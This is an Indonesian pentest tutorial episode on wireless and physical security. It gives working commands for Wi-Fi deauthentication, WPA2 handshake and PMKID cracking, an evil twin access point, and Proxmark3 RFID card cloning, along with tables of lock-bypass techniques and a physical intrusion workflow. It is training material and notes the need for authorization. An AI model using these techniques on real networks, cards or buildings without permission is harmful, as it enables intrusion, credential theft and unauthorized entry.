Belajar Penetration Tester - Wireless & Physical Security
Mempelajari teknik wireless security testing — Wi-Fi attacks, deauthentication, handshake capture — serta physical security assessment termasuk RFID basics dan physical access testing
#Pendahuluan
Setelah di episode 15 kita mempelajari container & Kubernetes security — Docker escape, K8s misconfiguration — pada episode ini kita beralih ke attack vector yang lebih "fisik": wireless & physical security. Wireless attacks memungkinkan penyerang mengakses jaringan tanpa kabel, sementara physical security assessment menguji pertahanan fisik gedung dan设备.
Di era remote work dan BYOD, wireless security menjadi kritis. Sementara physical security seringkali diabaikan — padahal akses fisik ke server room bisa mengalahkan semua security controls digital.
#Wi-Fi Security Testing
#WPA2 Handshake Capture
# 1. Enable monitor mode
sudo airmon-ng start wlan0
sudo airmon-ng check kill # kill interfering processes
# 2. Scan networks
sudo airodump-ng wlan0mon
# 3. Capture handshake (target spesifik)
sudo airodump-ng -c <channel> --bssid <AP_MAC> -w capture wlan0mon
# 4. Deauth untuk paksa reconnect (capture handshake)
sudo aireplay-ng -0 5 -a <AP_MAC> -c <CLIENT_MAC> wlan0mon
# 5. Crack handshake
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap#Evil Twin Attack
# Buat fake AP
sudo airbase-ng -c <channel> -essid "TargetSSID" wlan0mon
# Atau menggunakan hostapd-mana
git clone https://github.com/sensepost/hostapd-mana
cd hostapd-mana/hostapd
cp defconfig .config && make
./hostapd-mana hostapd-mana.conf#WPA3 & PMKID Attack
# PMKID attack (tidak membutuhkan client)
hcxdumptool -i wlan0mon --filterlist_ap=targets.txt --filtermode=2 -o capture.pcapng
hcxpcapngtool -o hash.hc22000 capture.pcapng
hashcat -m 22000 hash.hc22000 rockyou.txt#Bluetooth Security
#BLE (Bluetooth Low Energy) Analysis
# Scan BLE devices
sudo bluetoothctl
> scan on
# BLE sniffing
sudo gatttool -b <MAC> --characteristics
# Bettercap
sudo bettercap -iface hci0
ble.recon on#Bluetooth Attack Vectors
| Serangan | Tool | Risiko |
|---|---|---|
| Bluesnarfing | Custom tools | Data theft |
| Bluejacking | Standard BT | Spam |
| KNOB attack | Custom | Key negotiation |
| BLE replay | HackRF | Device control |
#RFID & NFC
#RFID Basics
| Frekuensi | Jarak | Tipe |
|---|---|---|
| 125 kHz (LF) | 10 cm | Access cards (HID, EM4100) |
| 13.56 MHz (HF) | 10 cm | NFC, MIFARE, iCLASS |
| 860-960 MHz (UHF) | 12 m | Logistics tags |
#RFID Cloning
# Proxmark3 — tool RFID all-in-one
# Read card
proxmark3> lf search
proxmark3> hf search
# Clone card
proxmark3> lf em 410x clone --id <ID>
proxmark3> hf mf clone --1k -f <dump_file>#NFC Testing
# Android NFC reading
# Aplikasi: NFC Tools, MIFARE Classic Tool
# USB NFC reader
# ACR122U + libnfc
nfc-list
nfc-mfultralight r dump.nfc#Physical Security Assessment
#Lock Picking
| Tipe | Tool | Difficulty |
|---|---|---|
| Pin tumbler | Lock pick set | Medium |
| Wafer | Shim | Easy |
| Tubular | Tubular pick | Medium |
| Electronic | RFID cloner | Varies |
#Bypass Techniques
| Teknik | Target | Tool |
|---|---|---|
| Under door tool | Lever locks | Thin metal strip |
| Shimming | Padlocks | Padlock shim |
| Bump key | Pin tumbler | Bump key set |
| Plug spinner | Re-picked locks | Plug spinner |
#Physical Access Testing
Physical Pentest Workflow
==========================
1. Reconnaissance
└─ Building layout, security cameras, guard schedules
2. Entry testing
└─ Tailgating, badge cloning, lock picking
3. Internal assessment
└─ Server room access, unlocked workstations, USB drops
4. Data exfiltration
└─ Physical extraction, wireless pivotCaution
Physical security testing membutuhkan izin tertulis yang sangat spesifik. Aktivitas seperti lock picking, tailgating, dan badge cloning bisa melanggar hukum jika tidak ada authorization. Pastikan RoE mencakup aktivitas fisik secara eksplisit.
#Praktik: Wireless & Physical Lab
#Wireless Lab
# Dibutuhkan: wireless adapter yang mendukung monitor mode
# (Alfa AWUS036ACH, TP-Link TL-WN722N v1)
# 1. Setup lab AP
# 2. Capture handshake
# 3. Crack dengan Hashcat/aircrack-ng#Physical Lab
# Practice lock picking di rumah
# Belajar dengan lock practice kit
# Proxmark3 untuk RFID cloning#Penutup
Inti yang harus dibawa pulang:
- Wi-Fi attacks: WPA2 handshake capture, evil twin, PMKID attack.
- Bluetooth: BLE sniffing, KNOB attack, bluesnarfing.
- RFID/NFC: cloning 125 kHz cards, MIFARE analysis, NFC reading.
- Physical security: lock picking, tailgating, badge cloning, under door tool.
- Tool utama: Aircrack-ng, Proxmark3, lock pick set, HackRF.
Di episode 17 selanjutnya, kita akan mempelajari report writing & remediation — bagaimana menulis laporan pentesting yang efektif, dari executive summary hingga technical detail dengan CVSS scoring.